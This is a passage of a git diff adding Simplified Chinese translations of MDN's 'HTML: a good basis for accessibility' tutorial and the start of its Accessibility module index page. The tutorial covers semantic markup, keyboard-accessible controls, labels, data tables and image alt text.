href="/en-US/docs/Learn/Accessibility/What_is_accessibility">什么是可访问性</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解可访问性为网页带来的好处和如何在网页中进行实现。</td> + </tr> + </tbody> +</table> + +<h2 id="HTML_和可访问性">HTML 和可访问性</h2> + +<p>在学习HTML的过程当中,经常可以看到这样一个主题:HTML语义化的重要性。意思是指我们应尽可能地用正确的HTML标签来表达正确的意图。</p> + +<p>你可能在想,为什么语义化对于一个网页来说如此重要。总的来说,正确的语义化可使 CSS 和 JavaScript 更为便利地操作网页的样式和行为。例如,一个用来操作视频播放的按钮可以写成这样一种形式:</p> + +<pre><div>Play video</div></pre> + +<p>接下来你将看到一种更好的写法,它使用了正确的HTML标签,看上去更加合理:</p> + +<pre><button>Play video</button></pre> + +<p><code><button></code>标签不仅提供了按钮的样式(虽然有时会重新编写样式),还提供了键盘的可访问性,如:使用tab键更换按钮,使用回车键点击按钮。</p> + +<p>如果你在项目的一开始就使用HTML语义化,不仅不会花更多的时间,而且又有以下的可访问性优点:</p> + +<ol> + <li><strong>更便于开发</strong> — 如上所述,你可以使HTML更易于理解,并且可以毫不费力的获得一些功能。</li> + <li><strong>更适配移动端</strong> — 语义化的HTML文件比非语义化的HTML文件更加轻便,并且更易于响应式开发。</li> + <li><strong>更便于SEO优化</strong> — 比起使用非语义化的<div>标签,搜索引擎更加重视在“标题、链接等”里面的关键字,使用语义化可使网页更容易被用户搜索到。</li> +</ol> + +<p>让我们来继续学习HTML语义化实现细则。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>在本地计算机上设置屏幕阅读器是一个不错的主意,因此您可以对下面显示的示例进行一些测试。更多内容请查阅 <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Screenreaders">Screenreaders guide</a>。</p> +</div> + +<h2 id="良好的语义">良好的语义</h2> + +<p>上面我们讨论了语义化的重要性以及为什么我们要使用正确的HTML标签来表达正确的意图。语义化是我们不可忽视的一部分,因为它往往决定了网页的可访问性。</p> + +<p>在网络上,事实上人们用HTML标签做一些非常奇怪的事情。人们滥用一些即将废弃或已经废弃的标签。不管在什么情况下,我们都应该将这些错误的代码改正过来。</p> + +<p>话虽如此,但是有些情况我们往往不能摆脱错误的标签,例如一个网页是从服务端的框架生成的,或者网页上存在第三方的内容(如广告),这些都是我们所不能控制的。</p> + +<p>我们的目标并不是“全有或全无”,实际上,你所做的每一个改进都可以提升网页的可访问性。</p> + +<h3 id="文本内容">文本内容</h3> + +<p>对于屏幕阅读器用户来讲,最佳辅助功能之一是拥有标题,段落,列表等内容的良好结构。一个好的语义示例可能如下所示:</p> + +<pre><code><h1>My heading</h1> + +<p>This is the first section of my document.</p> + +<p>I'll add another paragraph here too.</p> + +<ol> + <li>Here is</li> + <li>a list for</li> + <li>you to read</li> +</ol> + +<h2>My subheading</h2> + +<p>This is the first subsection of my document. I'd love people to be able to find this content!</p> + +<h2>My 2nd subheading</h2> + +<p>This is the second subsection of my content. I think is more interesting than the last one.</p></code></pre> + +<p>我们已经准备了一个更长的文本版本,供您试用于屏幕阅读器(请查看 <a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>)。如果您尝试在此过程中导航,您将看到这非常容易导航:</p> + +<ol> + <li>屏幕阅读器会在您浏览内容时读取每个标题,通知您标题是什么,段落是什么等。</li> + <li>它在每个元素之后停止,让你以任何适合你的速度前进。</li> + <li>你可以在许多屏幕阅读器中跳到下一个/上一个标题。</li> + <li>你还可以在许多屏幕阅读器中显示所有标题的列表,使您可以像使用便利的目录一样使用它们以查找特定内容。</li> +</ol> + +<p>人们有时会使用表现性 HTML 和换行符来编写标题,段落等,如下所示:</p> + +<pre><code><font size="7">My heading</font> +<br><br> +This is the first section of my document. +<br><br> +I'll add another paragraph here too. +<br><br> +1. Here is +<br><br> +2. a list for +<br><br> +3. you to read +<br><br> +<font size="5">My subheading</font> +<br><br> +This is the first subsection of my document. I'd love people to be able to find this content! +<br><br> +<font size="5">My 2nd subheading</font> +<br><br> +This is the second subsection of my content. I think is more interesting than the last one.</code></pre> + +<p>如果你使用屏幕阅读器试用更长内容的版本(请查阅 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>),你不会有一个很好的经验 — 屏幕阅读器没有任何东西可以用作路标,所以你无法检索有用的目录,整个页面被看作一个巨大的块,所以它只是一次读出所有的内容。</p> + +<p>除了可访问性之外,还有其他一些问题 - 使用CSS设计内容的风格更难,或者使用JavaScript来操作它比较困难,因为没有可用作选择器的元素。</p> + +<h4 id="使用通俗易懂的语言">使用通俗易懂的语言</h4> + +<p>你使用的语言也会影响可访问性。一般来说,你应该使用不太复杂的清晰语言,不要使用不必要的行话或俚语。这不仅有利于有认知或其他残疾的人;它有利于那些没有用母语写作的读者,年轻人...事实上是每个人!除此之外,你应该尽量避免使用没有被屏幕阅读器清楚读出的语言和字符。例如:</p> + +<ul> + <li>如果可以避免的话,不要用破折号。写 5 到 7 ,来替代 5-7。</li> + <li>展开缩写 — 写 January,来替代 Jan 。</li> + <li>展开首字母缩略词,至少一次或两次。 例如写明 “超文本标记语言”( Hypertext Markup Language),而不是直接用缩写 HTML。</li> +</ul> + +<h3 id="页面布局">页面布局</h3> + +<p>在旧时代,人们曾经使用HTML表格创建页面布局 - 使用不同的表格单元格来包含页眉,页脚,边栏,主要内容栏等。这不是一个好主意,因为屏幕阅读器可能会读出给人造成困惑的结果,特别是如果布局复杂,并且有许多嵌套表格的话。</p> + +<p>试试我们的例子<a href="http://mdn.github.io/learning-area/accessibility/html/table-layout.html">table-layout.html</a>,它看起来像这样:</p> + +<pre><table width="1200"> + <!-- main heading row --> + <tr id="heading"> + <td colspan="6"> + + <h1 align="center">Header</h1> + + </td> + </tr> + <!-- nav menu row --> + <tr id="nav" bgcolor="#ffffff"> + <td width="200"> + <a href="#" align="center">Home</a> + </td> + <td width="200"> + <a href="#" align="center">Our team</a> + </td> + <td width="200"> + <a href="#" align="center">Projects</a> + </td> + <td width="200"> + <a href="#" align="center">Contact</a> + </td> + <td width="300"> + <form width="300"> + <input type="search" name="q" placeholder="Search query" width="300"> + </form> + </td> + <td width="100"> + <button width="100">Go!</button> + </td> + </tr> + <!-- spacer row --> + <tr id="spacer" height="10"> + <td> + + </td> + </tr> + <!-- main content and aside row --> + <tr id="main"> + <td id="content" colspan="4" bgcolor="#ffffff"> + + <!-- main content goes here --> + </td> + <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top"> + <h2>Related</h2> + + <!-- aside content goes here --> + + </td> + </tr> + <!-- spacer row --> + <tr id="spacer" height="10"> + <td> + + </td> + </tr> + <!-- footer row --> + <tr id="footer" bgcolor="#ffffff"> + <td colspan="6"> + <p>©Copyright 2050 by nobody. All rights reversed.</p> + </td> + </tr> + </table></pre> + +<p>如果您尝试使用屏幕阅读器浏览此内容,它可能会告诉您需要查看一个表格(尽管某些屏幕阅读器可以猜测表格布局和数据表格之间的区别)。 然后,您可能(取决于您使用的屏幕阅读器)必须需要进入到表格对象中,并单独地查看表格的内容,然后再次离开表格,以继续浏览其他内容。</p> + +<p>用表格布局网页是过去旧时代的遗迹 - 在“CSS”在浏览器中并不普遍被支持时,它们是有意义的,但是它们会为屏幕阅读器用户造成混淆,并且由于许多其他原因变得很糟糕(滥用表格,可能因此需要更多的标记, 使设计更不灵活)。不要这样做!</p> + +<p>您可以通过将您之前的体验与 <a href="http://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/">更现代的网站结构示例</a> 进行比较,来验证这些声明,该示例如下所示:</p> + +<pre><header> + <h1>Header</h1> +</header> + +<nav> + <!-- main navigation in here --> +</nav> + +<!-- Here is our page's main content --> +<main> + + <!-- It contains an article --> + <article> + <h2>Article heading</h2> + + <!-- article content in here --> + </article> + + <aside> + <h2>Related</h2> + + <!-- aside content in here --> + </aside> + +</main> + +<!-- And here is our main footer that is used across all the pages of our website --> + +<footer> + <!-- footer content in here --> +</footer></pre> + + + +<p>如果您使用屏幕阅读器阅读更现代的结构示例,则会看到布局标记不再会妨碍内容的读取。 它在代码大小方面也更加精简和小巧,这意味着代码更容易维护,并且用户下载的带宽更少(特别适合慢速连接的用户)。</p> + +<p>创建布局时的另一个考虑因素是使用HTML5语义元素,如上例所示(请参阅 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element#Content_sectioning">此内容部分</a>) - 您只能使用嵌套的 <code>{{htmlelement("div")}}</code> 元素创建布局,但最好使用适当的分段元素包裹您的主导航(<code>{{htmlelement("nav")}}</code>),<code>footer</code> (<code>{{htmlelement("footer")}}</code>),重复内容单元 (<code>{{htmlelement("article")}}</code>) 等 。这些为屏幕阅读器(和其他工具)提供额外的语义,为用户提供有关他们正在浏览的内容的额外信息(请参阅 <a href="http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/">屏幕阅读器支持的新的HTML5章节元素</a> ,了解屏幕阅读器的支持是什么样的原理)。</p> + +<div class="note"> +<p><strong>注意</strong>:除了您的内容具有良好的语义和有吸引力的布局之外,它的源代码顺序应该是合理的 - 您可以随时将它放在您想要使用CSS的位置,但是您应该先从源代码开始, 如此这样,屏幕阅读器读取给他们的内容将会非常便于理解。</p> +</div> + +<h3 id="UI_控制">UI 控制</h3> + +<p>通过UI控件,我们指的是与用户交互的Web文档的主要部分 - 通常是按钮,链接和表单控件。 在本节中,我们将介绍创建此类控件时要注意的基本可访问性问题。 稍后关于WAI-ARIA和多媒体的文章将着眼于UI可访问性的其他方面。</p> + +<p>UI控件可访问性的一个关键方面是,默认情况下,浏览器允许用户通过键盘操作它们。 您可以使用我们的 <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">native-keyboard-accessibility.html</a> 示例(请参阅 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html">源代码</a> )。尝试此操作 - 在新选项卡中打开此项,然后尝试按Tab键; 几次按下后,您应该看到标签焦点开始移动到不同的元素; 在每个浏览器中,获得焦点元素都会有一个“突出显示“的默认样式(它在不同浏览器之间略有不同),以便您可以确定当前哪些元素获得焦点。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14215/button-focused-unfocused.png"></p> + +<p>接着你可以按Enter / Return来追踪当前获得焦点的链接,或者按按钮来实现(我们已经使用JavaScript使按钮同时显示提示消息),或者开始在文本输入中输入文本(其他表单元素具有不同的控件, 例如<code> {{htmlelement("select")}}</code> 元素拥有自己的显示选项, 可以使用向上和向下箭头键进行循环)。</p> + +<div class="note"> +<p><strong>注意</strong>:不同的浏览器可能有不同的键盘控制选项。 请参阅 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility#Using_native_keyboard_accessibility">使用本机键盘辅助功能</a> 获取更多详细信</p> +</div> + +<p>实际上,您只需使用适当的元素即可免费获得此功能,例如,</p> + +<pre><h1>Links</h1> + +<p>This is a link to <a href="https://www.mozilla.org">Mozilla</a>.</p> + +<p>Another link, to the <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p> + +<h2>Buttons</h2> + +<p> + <button data-message="This is from the first button">Click me!</button> + <button data-message="This is from the second button">Click me too!</button> + <button data-message="This is from the third button">And me!</button> +</p> + +<h2>Form</h2> + +<form> + <div> + <label for="name">Fill in your name:</label> + <input type="text" id="name" name="name"> + </div> + <div> + <label for="age">Enter your age:</label> + <input type="text" id="age" name="age"> + </div> + <div> + <label for="mood">Choose your mood:</label> + <select id="mood" name="mood"> + <option>Happy</option> + <option>Sad</option> + <option>Angry</option> + <option>Worried</option> + </select> + </div> +</form></pre> + + + +<p>这意味着适当地使用链接,按钮,表单元素和标签(包括表单控件的 <code>{{htmlelement("label")}}</code> 元素)。</p> + +<p>然而,人们有时候会用HTML做奇怪的事情。 例如,您有时会看到使用 <code>{{htmlelement("div")}}</code> 标记的按钮,例如:</p> + +<pre><div data-message="This is from the first button">Click me!</div> +<div data-message="This is from the second button">Click me too!</div> +<div data-message="This is from the third button">And me!</div></pre> + +<p>但是不建议使用这样的代码 - 你会立即失去本机键盘的可访问性。但如果你使用了<code>{{htmlelement("button")}}</code> 元素,你将可以通过键盘控制。 此外你也将不会获得任何的按钮默认拥有的CSS样式。</p> + +<h4 id="重新建立键盘的可访问性"><strong>重新建立键盘的可访问性</strong></h4> + +<p>重新添加这些优点需要一些工作(您可以在我们的 <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">fake-div-buttons.html</a> 示例中使用示例代码 - 另请参阅 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/fake-div-buttons.html">源代码</a> )。 在这里,我们通过赋予每个 <code><div></code> 按钮属性<code>tabindex =“0”</code> 来使它能够被聚焦(包括通过选项卡):</p> + +<pre><div data-message="This is from the first button" tabindex="0">Click me!</div> +<div data-message="This is from the second button" tabindex="0">Click me too!</div> +<div data-message="This is from the third button" tabindex="0">And me!</div></pre> + +<p>基本上,<code>{{htmlattrxref("tabindex")}}</code> 属性主要用于允许 tabbable 元素具有自定义Tab键顺序(以正数顺序指定),而不是仅按其默认源顺序进行标记。 这几乎总是一个糟糕的主意,因为它可能会造成重大混乱。 例如,如果布局以与源代码非常不同的视觉顺序显示事物,而且你想让事情更符合逻辑。 这里 <code>tabindex</code> 有另外两个选项:</p> + +<ul> + <li><code>tabindex="0"</code> — 如上所述,该值允许 通常不可放置的元素(tabbable elements) 变为可放置的。 这是 tabindex 最有用的的地方。</li> + <li><code>tabindex="-1"</code> — 这允许 通常不可放置的元素(tabbable elements) 以编程的方式接收焦点,例如, 通过JavaScript,或作为链接的目标。</li> +</ul> + +<p>虽然上面的添加允许我们用 <code>tab</code> 选择按钮,但它不允许我们通过 <code>Enter / Return</code> 键来激活它们。 要做到这一点,我们必须添加下面的 JS 小绝招(JavaScript trickery):</p> + +<pre><code>document.onkeydown = function(e) { + if(e.keyCode === 13) { // The Enter/Return key + document.activeElement.onclick(e); + } +};</code></pre> + +<p>在这里,我们向文档对象 <code>document</code> 添加一个侦听器,以检测什么时候键盘上按下按钮 我们通过事件对象 <code>event object</code> 的 <code>keyCode </code>属性,检查用户按下了哪个按钮; 如果它是与 <code>Return / Enter</code> 匹配的关键代码,我们通过按钮的 onclick 函数,即 <code>document.activeElement.onclick()</code> 。<code>activeElement</code> 提供给我们页面当前被focused的元素。</p> + +<p>我们使用<code>document.activeElement.onclick()</code>运行存储在按钮的onclick处理函数中的函数。 <code>activeElement</code> 为我们提供了当前关注页面的元素。</p> + +<div class="note"> +<p><strong>注意</strong>:您应该记住,只有通过事件处理程序属性(例如onclick)设置原始事件处理程序,此技巧才会起作用。 <code>addEventListener</code> 将不起作用。</p> +</div> + +<p>这对于重新构建功能而言是一个额外的麻烦。而且这肯定会带来其他问题。 使用正确的元素处理正确的工作是非常重要的。(<strong>Better to just use the right element for the right job in the first place.</strong>)</p> + +<h4 id="有意义的文字标签"><strong>有意义的文字标签</strong></h4> + +<p>用户界面控件的 文本标签 对所有用户都非常有用,但是对于残疾用户来说,让他们正确使用尤其重要。</p> + +<p>你应该确保你的按钮和链接文本标签是可以理解和独特的。 不要使用“点击这里”("Click here")此类的标签,因为屏幕阅读器用户有时会列出按钮和表格控件列表。 以下屏幕截图显示了我们的控件在Mac上由 VoiceOver 列出。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14335/voiceover-formcontrols.png"></p> + +<p>确保您的标签在上下文中有意义,可以单独阅读,也可以在他们所在的段落的上下文中进行阅读。例如,下面显示了良好链接文本的示例:</p> + +<pre><p>Whales are really awesome creatures. <a href="whales.html">Find out more about whales</a>.</p></pre> + +<p>但这是不好的链接文字:</p> + +<pre><p>Whales are really awesome creatures. To find more out about whales, <a href="whales.html">click here</a>.</p></pre> + +<div class="note"> +<p><strong>注意</strong>:您可以在我们的 <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">创建超链接 </a>文章中找到更多关于链接实现和最佳实践的信息。 您还可以在 <a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a> 和 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> 中看到一些好的和不好的例子。</p> +</div> + +<p>表单标签也很重要,可以让您了解您需要输入每个表单输入的内容。 以下似乎是一个足够合理的例子:</p> + +<pre>Fill in your name: <input type="text" id="name" name="name"></pre> + +<p>但是,这对于残疾用户来说并不是那么有用。 在上面的示例中,没有任何内容将标签与表单输入明确关联。因此如果看不到它,请让用户明确该如何填写。 如果您使用某些屏幕阅读器访问该屏幕,则只能按照“编辑文本”(“edit text”)的方式给出说明。</p> + +<p>以下是一个更好的例子:</p> + +<pre><div> + <label for="name">Fill in your name:</label> + <input type="text" id="name" name="name"> +</div></pre> + +<p>通过这样的代码,标签将清晰地与输入相关联; 描述将更像如下这种形式:“填写你的姓名:编辑文本”。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14337/voiceover-good-form-label.png"></p> + +<p>作为额外的好处,在大多数将标签与表单输入相关联的浏览器中,您可以单击标签来 选择/激活 表单元素。 这给输入一个更大的可选中区域,使其更容易选择。</p> + +<div class="note"> +<p>注意:您可以在 <a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a> 和 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a> 中看到一些好的和不好的表单示例。</p> +</div> + +<h2 id="可访问的表格"><strong>可访问的表格</strong></h2> + +<p>基本的表格(译者注:“data table”被翻译成“表格”)可以用非常简单的标记来编写,例如:</p> + +<pre><table> + <tr> + <td>Name</td> + <td>Age</td> + <td>Gender</td> + </tr> + <tr> + <td>Gabriel</td> + <td>13</td> + <td>Male</td> + </tr> + <tr> + <td>Elva</td> + <td>8</td> + <td>Female</td> + </tr> + <tr> + <td>Freida</td> + <td>5</td> + <td>Female</td> + </tr> +</table></pre> + +<p>但是这有问题 - 屏幕阅读器用户无法将行或列作为数据分组关联在一起。 要做到这一点,你需要知道标题行是什么,以及它们是否在行,列等标题上。这只能在上面的表中以可视化方式完成(参见 <a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a> ,并自己尝试这个例子)。</p> + +<p>现在看看我们的 <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/styling-tables/punk-bands-complete.html">punk bands table example</a> - 您可以在这里看到一些辅助工具(accessibility aids):</p> + +<ul> + <li>表头使用 <code>{{htmlelement("th")}}</code> 元素定义 - 您还可以使用 <code>scope</code> 属性指定它们是行还是列的标题。 这提供给了屏幕阅读器可以理解的完整数据组。</li> + <li> <code>{{htmlelement("caption")}}</code> 元素和 <code><table></code> <code>summary</code> 属性都执行类似的工作 - 它们充当表格的替代文本,为屏幕阅读器用户提供有用的表格内容快速摘要。 <code><caption></code> 通常是首选,因为它使内容可供视力良好的用户访问,而且他们也可能会发现它很有用。 你并不需要两者都使用!。</li> +</ul> + +<div class="note"> +<p>注意:有关可访问数据表的更多详细信息,请参阅我们的 <a href="/en-US/docs/Learn/HTML/Tables/Advanced">HTML表格高级功能和可访问性</a> 文章。</p> +</div> + +<h2 id="文本替代品"><strong>文本替代品</strong></h2> + +<p>尽管文本内容本身是可访问的,但对于多媒体内容而言也不一定是这样 - 图像/视频内容不能被视觉障碍人士看到,并且听觉障碍人士不能听到音频内容。 稍后我们将在可访问多媒体文章中详细介绍视频和音频内容,但对于本文,我们将探讨低微(humble )的 <code>{{htmlelement("img")}}</code> 元素的可访问性。</p> + +<p>我们编写了一个简单的例子, <a href="http://mdn.github.io/learning-area/accessibility/html/accessible-image.html">accessible-image.html</a> ,它具有相同图像的四个副本:</p> + +<pre><img src="dinosaur.png"> + +<img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."> + +<img src="dinosaur.png" + alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth." + title="The Mozilla red dinosaur"> + + +<img src="dinosaur.png" aria-labelledby="dino-label"> + +<p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p> +</pre> + +<p>第一张图片,当用屏幕阅读器查看时,并不真正为用户提供很多帮助 - 例如VoiceOver会读出 “/dinosaur.png,image” 。 它读出文件名以尝试提供一些帮助。 在这个例子中,用户至少知道它是某种恐龙,但通常文件可以用机器生成的文件名(例如来自数码相机)上传,这些文件名可能不会提供图像内容的信息。</p> + +<div class="note"> +<p>注意:这就是为什么你不应该在图像中包含文本内容 - 屏幕阅读器根本无法访问它。 还有其他的缺点 - 你不能选择它并复制/粘贴它。不要这样做!</p> +</div> + +<p>当屏幕阅读器遇到第二张图像时,它会读出完整的 <code>alt</code> 属性 - “红色霸王龙雷克斯:一只像人一样直立的双腿恐龙,手臂小,头部大而锋利。”</p> + +<p>这突出了不仅在所谓的替代文本不可用的情况下使用有意义的文件名的重要性,而且还确保尽可能地在替换属性 <code>alt</code> 中提供替代文本。 请注意,<code>alt</code> 属性的内容应始终提供图像的直接表示以及它在视觉上传达的内容。 任何个人知识或额外描述都不应该包含在这里,因为它对以前没有碰到过这个图像的人没有用处。</p> + +<p>需要考虑的一件事是,你的图片是否在你的内容中有意义,或者它们纯粹是为了视觉装饰,所以没有意义。 如果它们是装饰性的,最好将它们包含在页面中作为CSS背景图像。</p> + +<div class="note"> +<p>注意:请阅读 <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML中的图片</a> 和 <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">响应式图片</a> 以获得更多关于图片实施和最佳做法的信息。</p> +</div> + +<p>如果您确实想要提供额外的上下文信息,则应该将其放在图像周围的文本中,或放置在“标题” <code>title</code> 属性中,如上所示。 在这种情况下,大多数屏幕阅读器会读出替代文本,标题属性和文件名。 此外,鼠标滑过时,浏览器会将 <code>title</code> 的内容作为工具提示的形式显示出来。</p> + + + + + +<p><img alt="" src="https://mdn.mozillademos.org/files/14333/title-attribute.png"></p> + +<p>我们再来看看第四种方法:</p> + +<pre><img src="dinosaur.png" aria-labelledby="dino-label"> + +<p id="dino-label">The Mozilla red Tyrannosaurus ... </p></pre> + +<p>在这种情况下,我们不使用“alt”属性 —— 相反,我们已经将图像的描述作为常规文本段落给出,并给出它的“id”,然后使用 “<code>aria-labelledby</code>” 属性并链接到对应“<code>id</code>”,它使屏幕阅读器将该段落用作该图像的替代文本/标签。 如果您想将相同的文本用作多个图像的标签,这是特别有用的 - 这是使用“<code>alt</code>”不可能实现的。</p> + +<div class="note"> +<p>注意:“<code>aria-labelledby</code>”是 <a href="https://www.w3.org/TR/wai-aria-1.1/">WAI-ARIA</a> 规范的一部分,它允许开发人员在其标记中添加额外的语义,以提高屏幕阅读器的可访问性。 要了解更多关于它是如何工作的,请阅读我们的 <a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA Basics</a> 文章。</p> +</div> + + + +<h3 id="其他文字替代机制">其他文字替代机制</h3> + +<p>图像还有其他机制可用于提供描述性文字。 例如,有一个 <code>longdesc</code> 属性用于指向包含图像的扩展描述的单独Web文档,例如:</p> + +<pre><img src="dinosaur.png" longdesc="dino-info.html"></pre> + +<p>这听起来像个好主意,尤其是对于像大图表这样的信息图,其中有很多信息可能可以表示为可访问的数据表(请参阅上一部分)。 但是,屏幕阅读器不支持<code>longdesc</code>,非屏幕阅读器用户完全无法访问内容。 将长描述包含在与图像相同的页面中,或者通过常规链接链接到它可能会更好。</p> + +<p>HTML5包含两个新元素 - <code>{{htmlelement("figure")}}</code> 和<code>{{htmlelement("figcaption")}}</code> ,它们应该将某种形象(可以是任何东西,不一定是图像)与数字标题相关联:</p> + +<pre><figure> + <img src="dinosaur.png" alt="The Mozilla Tyrannosaurus"> + <figcaption>A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcaption> +</figure></pre> + +<p>不幸的是,大多数屏幕阅读器似乎并没有将图形标题与他们的图形相关联,但是元素结构对CSS样式非常有用,并且它提供了一种方法在源代码中将图像放置在旁边。</p> + +<h3 id="空alt属性">空alt属性</h3> + +<pre><h3> + <img src="article-icon.png" alt=""> + Tyrannosaurus Rex: the king of the dinosaurs +</h3></pre> + +<p>可能有时候图像被包含在页面的设计中,但其主要目的是用于视觉装饰。 在上面的代码示例中,您会注意到图像的“alt”属性为空 - 这是为了让屏幕阅读器识别图像,但不试图描述图像(阅读器只是说 “图像” 等类似的语句)。</p> + +<p>使用空白“alt”而不包含它的原因是因为如果没有提供“alt”,许多屏幕阅读器会公布整个图像URL。 在上面的示例中,图像充当与其关联的标题的视觉装饰。 在这种情况下,以及在图像只是装饰并且没有内容值的情况下,您应该在图像上放置一个空白的“alt”。 另一种选择是使用 aria role 属性 <code>role =“presentation”</code> - 这也会阻止屏幕阅读器读出替代文本。</p> + +<div class="note"> +<p>注意:如果可能的话,你应该使用CSS来显示只有装饰的图像。</p> +</div> + +<h2 id="总结Summary">总结Summary</h2> + +<p>您现在应该精通编写大多数场合可访问的HTML。 我们的 WAI-ARIA 基础知识文章也将填补这些知识中的一些空白,但本文已经关注了此基础知识。 接下来,我们将探索 CSS 和 JavaScript ,以及可访问性如何受其好坏影响。</p> + + + +<p>{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}</p> + + + +<h2 id="在此模块">在此模块</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/What_is_accessibility">什么是可访问性 (What is accessibility?)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/HTML">可访问性的良好的基础 (HTML: A good basis for accessibility)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS 和JavaScript可访问性的最好练习(CSS and JavaScript accessibility best practices)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">WAI_ARIA基础(WAI-ARIA basics)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Multimedia">多媒体的可访问性(Accessible multimedia)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Mobile">移动端的可访问性(Mobile accessibility)</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting">可访问性问题的解决处理(Accessibility troubleshooting)</a></li> +</ul> diff --git a/files/zh-cn/learn/accessibility/index.html b/files/zh-cn/learn/accessibility/index.html new file mode 100644 index 0000000000..77f9fc0d53 --- /dev/null +++ b/files/zh-cn/learn/accessibility/index.html @@ -0,0 +1,50 @@ +--- +title: 可访问性 +slug: learn/Accessibility +translation_of: Learn/Accessibility +--- +<div> +<h1 id="可访问性">可访问性</h1> +</div> + +<p class="summary">如果你想成为一个web开发者,学习一些HTML,CSS和JavaScript是很有用的, 但是仅仅使用这些技术是不够的, 你应该更进一步拓展你的知识 — 你需要响应式地使用它们来最大程度地发展你的用户, 并且使用这些技术时不能把任何一门排斥出去。 为了达到这个目的, 要遵循一般最佳实践(这些最佳实践已经被 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 相关的话题所证明),进行跨浏览器测试, 并且从项目最初阶段就把易使用性考虑在内。在这个模块中我们将会详细讨论后者。</p> + +<h2 id="预备知识">预备知识:</h2> + +<p>为了充分理解这个模块,你至少需要读过 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 各个话题的前两个模块, 或者有可能的话, 在你学习相关联的技术话题时也把可访问性相关的内容学习了, 这样会更好。</p> + +<div class="note"> +<p><strong>注意</strong>: 如果在你所使用的设备上你不能建立自己的文件,你可以使用在线编码平台运行大多数样例代码, 比如 <a href="http://jsbin.com/">JSBin</a> 或者 <a href="https://thimble.mozilla.org/">Thimble</a>.</p> +</div> + +<h2 id="参考指南">参考指南</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">什么是可访问性?</a></dt> + <dd>这篇文章开头很好地阐述了到底什么是'可访问性' — 这包括我们要考虑哪一群人以及为什么要考虑这些人,不同用户使用什么工具与网页交互,以及我们在网页开发流中如何构建可用性部分.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: 确保可访问性的良好基础</a></dt> + <dd>只要确保恰当的 HTML 元素被用于适当的目的, 大量的网页内容即可具有可用性, 这篇文章详细地讲述了 HTML 的用法, 以确保网页有最大的可访问性.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">CSS 与 JavaScript 可用性最佳实践</a></dt> + <dd>CSS 与 JavaScript, 当正确使用的时候, 也能够使得网页具有很好的可访问性, 但是如果错误地使用他们将极大地破坏可访问性. 这篇文章罗列了一些应该被考虑的CSS 和 JavaScript的最佳实践, 确保再复杂的内容都可以有尽可能好的可访问性.</dd> + <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">无障碍网页应用基础</a></dt> + <dd>继上一篇文章之后,有时候制作复杂的UI控件会涉及到非语义的HTML和动态的JavaScript更新内容会很难。 WAI-ARIA是一种可以帮助解决这些问题的技术,通过增加浏览器和辅助技术可以识别和使用的进一步语义来让用户知道正在发生的事情。 